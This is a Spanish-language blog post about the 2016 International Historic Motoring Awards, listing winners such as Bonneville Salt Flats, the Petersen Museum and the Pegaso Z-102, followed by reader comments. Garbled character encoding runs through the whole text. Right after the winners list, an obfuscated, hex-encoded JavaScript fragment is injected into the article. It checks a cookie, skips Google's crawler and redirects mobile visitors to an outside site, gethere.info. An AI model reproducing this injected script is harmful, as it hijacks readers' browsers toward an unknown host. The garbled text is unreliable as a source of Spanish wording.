IHMA 2016: lo mejor del aAi??o de los autos clA?sicos

vadeRetro
AUTOMOBILE SAISON 2016
CIRCUIT DES 24 H LE MANS/SARTHE/FRANCE
LE MANS CLASSIC 2016
SAMEDI 09 JUILLET 2016
DEPART PLATEAU 2
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Como nos vienen acostumbrando en los A?ltimos aAi??os, sobre finales del 2016 se eligieron en Europa los premios a lo mejor de la escena del automovilismo histA?rico, conocidos por sus siglas en inglAi??s como International Historic Motoring Awards.

En esta ocasiA?n el premio a la “Conquista a travAi??s del tiempo” elegido por los miembros del jurado en conjunto con la revista Octane y el sponsor principal, el banco EFG, no fue otorgado a una persona si no a un lugar y a los eventos que allAi?? se desarrollan. En una cena celebrada con todo el brillo en el histA?rico Guildhall londinense en el mes de noviembre, el premio mA?s importante de la noche fue otorgado a Bonneville Salt Flats Land Speed Racing, en tributo a mA?s de 100 aAi??os de desafAi??os y conquistas en el marco de un entorno A?nico.

MG F

El Director Editorial de Octane Geoff Love explicA? el alcance de este premio: “Por mA?s de un siglo las salinas de Bonneville han sido el escenario de innumerables intentos por batir rAi??cords de velocidad. Todos sabemos de los hitos conseguidos allAi?? por Sir Malcolm Campbell. George Eyston, John Cobb o Al Teague, por ejemplo, pero todo el mundo desde los fabricantes de autos, los proveedores de neumA?ticos a estudiantes con camiones movidos por aceite vegetal reutilizado han viajado hasta esas vastas planicies para intentar conseguir una marca anhelada. No puedo pensar en otro lugar que haya inspirado a tanta gente a alcanzar un nivel tan alto, y este premio se entrega al lugar en particular y a todos los entusiastas que consiguieron sacarle minutos, segundos o centAi??simas a rAi??cords precedentes”.

Celebrando “lo mejor de lo mejor” en la industria automotriz histA?rica, el Guildhall vio desfilar a los grandes y los buenos de la industria alrededor del mundo para descubrir allAi?? quienes fueron los ganadores segA?n el jurado, compuesto por personalidades como el ex campeA?n mundial de Sport Jochen Mass, el diseAi??ador Peter Stevens o el tambiAi??n ex campeA?n de Sport y mA?ltiple ganador de Le Mans Derek Bell.

Petersen

Bicester Heritage

El Petersen Automotive Museum, en California, Estados Unidos, se llevA? los favores en la categorAi??a “Museo o ColecciA?n”, en base a su increAi??ble renovaciA?n estrenada en 2015. El responsable de la junta directiva de este museo, Peter Mullin fue llamado tambiAi??n al escenario para recoger el premio “Logro personal del aAi??o”.

Dos organizaciones britA?nicas triunfaron en las categorAi??as “Especialistas” y “Promotor de la industria”. Crosthwaite & Gardiner se quedaron con el premio “Especialistas” luego de una temporada en la que se involucraron en proyectos muy desafiantes, mientras Bicester Heritage completaron 12 meses en los que vieron crecer el concepto de crear el primer campus de negocios de automA?viles histA?ricos en el mundo. Otro triunfo britA?nico llegA? de la mano del De Dion Bouton Club UK que coincidiendo con las celebraciones spot su dAi??cimo aniversario, fueron retribuidos con el trofeo al “Club del AAi??o”.

De Dion Bouton

Ford GT40 Le Mans

Porsche 917

RK Motors, ubicado en Charlotte, Estados Unidos, recibiA? el premio de “RestauraciA?n del aAi??o” por la meticulosa recuperaciA?n de P/1046, el GT40 que encabezA? el trAi??o de Ford en la famosa foto del final de las 24 Horas de Le Mans 1966. Otra meticulosa labor, pero de otro tipo, llevada adelante por el alemA?n Walter NAi??her, dio origen al libro “Porsche 917 Archive & Works Layout 1968-75”, seleccionado por el jurado como “Mejor PublicaciA?n del aAi??o”.

Los autos histA?ricos que salen a pista o a la calle, los que participan en concursos, exhibiciones o rallies son un goce para sus propietarios y los espectadores, y los IHMA cuentan con cuatro categorAi??as para reconocer estas prA?cticas. El fantA?stico Le Mans Classic, que juntA? a mA?s de 550 autos en la mAi??tica pista, 1.000 conductores hasta 10 ex ganadores de Le Mans se llevA? el trofeo al “Evento deportivo del aAi??o”, mientras el Amelia Island Concours dai???Elegance fue el preferido entre los “Evento de autos del aAi??o”. Una de las mA?s tradicionales reunionesAi??de autos histA?ricos (y el evento mA?s longevo) a nivel mundial, el London-Brighton Veteran Car Run, se hizo con el premio “Rally o Tour del aAi??o”, en tanto la serie conocida como Academia HRDC (Historic Racing Drivers Club), que ha formado a toda una generaciA?n de competidores de automovilismo histA?rico fue galardonada como “CategorAi??a de competiciA?n” del 2016.

Le Mans Classic 1

Amelia Island_HM 061

London Brighton

Finalmente, en la categorAi??a decidida por el voto del pA?blico, el esplAi??ndido Pegaso Z-102 Berlinetta ENASA CA?pula, que esta aAi??o completA? su restauraciA?n y se llevA? el premio “Best of Show Concours de Sport” en Amelia Island, fue elegido como el “Auto histA?rico del aAi??o”.

Cuadro de ganadores IHMA 2016

Conquista a travAi??s del tiempo: The Bonneville Salt Flats Land Speed Racing

Museo o ColecciA?n del aAi??o: Petersen Automotive Museum

Especialista del aAi??o: Crosthwaite & Gardiner

RestauraciA?n del aAi??o: Ford GT40 P/1046 1966

Publicacion del aAi??o:Ai??Porsche 917 Archive & Works Layout 1968-75, por Walter NAi??her

Evento de automovilismo del aAi??o: Le Mans Classic

Rally o Tour del aAi??o: Bonhams London to Brighton Veteran Car Run

Club del aAi??o: De Dion Bouton Club UK

CategorAi??a de competiciA?n del aAi??o: HRDC Academy Series

Evento del aAi??o: The Amelia Island Concours d’Elegance

Promotor de la Industria del aAi??o: Bicester Heritage

Logro personal del aAi??o: Peter Mullin

Auto histA?rico del aAi??o:Ai?? Pegaso Z-102 Berlinetta ENASA CA?pulavar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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8 Comentarios, RSS

  1. Javier M 13/01/2017 @ 7:15 pm

    Mira que es dificil el Pegaso… en la primera foto es una maqueta total.
    La flaquita de rojo es delicatessen. Me la llevo, quedense con el auto.

  2. Ignatius Reilly 14/01/2017 @ 7:57 am

    Totalmente de acuerdo, quedense con la garnufla de bandas rojas. La morocha es algo serio, buen porte para llevar esa pilcha y qué cartuchera amigo! Uno no puede dejar de imaginarla usando las Tahi balls del cinturón.
    A no reirse mas de las ventanillas del 2CV.

  3. Beppe viola 14/01/2017 @ 8:34 am

    La Pegaso?!?! Pero déjense de joder y aflójenle al scotch, che !!!… el único premio que merece es el de “garnufle d’or”…

  4. Gringo Viejo 14/01/2017 @ 9:55 pm

    Ese cañon del colorado me produce vertigo. No se si pagaria los 100 dolares para bajar despacito en el burro disfrutando del paisaje o me tiraria directamente en paracaidas. Se que ambas cosas me costarian la vida y algo mas pero soñar no cuesta nada.

    GV

  5. Javier M 15/01/2017 @ 1:07 pm

    De algo hay que morir, y si se puede elegir… mejor.

  6. Horacio Garcia 17/01/2017 @ 1:34 pm

    Sr. Bebé, me permito corregirlo ……d’merde

  7. José del Castillo 17/01/2017 @ 7:01 pm

    Reconociéndome como un lego en diseño y con todo respeto por las opiniones vertidas, yo les pediría que no fueran tan duros con el Pegaso. Piensen que fue un estudio de diseño de 1952 (one off) y piensen qué nos daba la industria automotriz en esos años. Yo creo que no está nada mal.
    Pueden pegar nomas.

    • Beppe Viola 18/01/2017 @ 10:45 am

      piense lo que en el ’52 hacia Zagato, Pininfarina, Motto, Vignale o Touring…

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